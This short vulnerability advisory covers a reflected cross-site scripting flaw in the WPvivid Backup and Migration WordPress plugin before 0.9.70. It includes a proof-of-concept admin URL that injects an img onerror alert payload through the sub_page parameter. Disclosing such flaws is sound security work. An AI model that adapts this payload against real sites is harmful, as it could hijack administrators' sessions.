WPvivid Backup and Migration Plugin < 0.9.70 - Reflected Cross-Site Scripting

The plugin does not sanitise and escape the sub_page parameter before outputting it back in the page, leading to a reflected Cross-Site Scripting

https://example.com/wp-admin/admin.php?page=WPvivid&sub_page=%3C%2Fscript%3E%3Cimg+src+onerror%3Dalert%28/XSS/%29%3E&main_tab=storage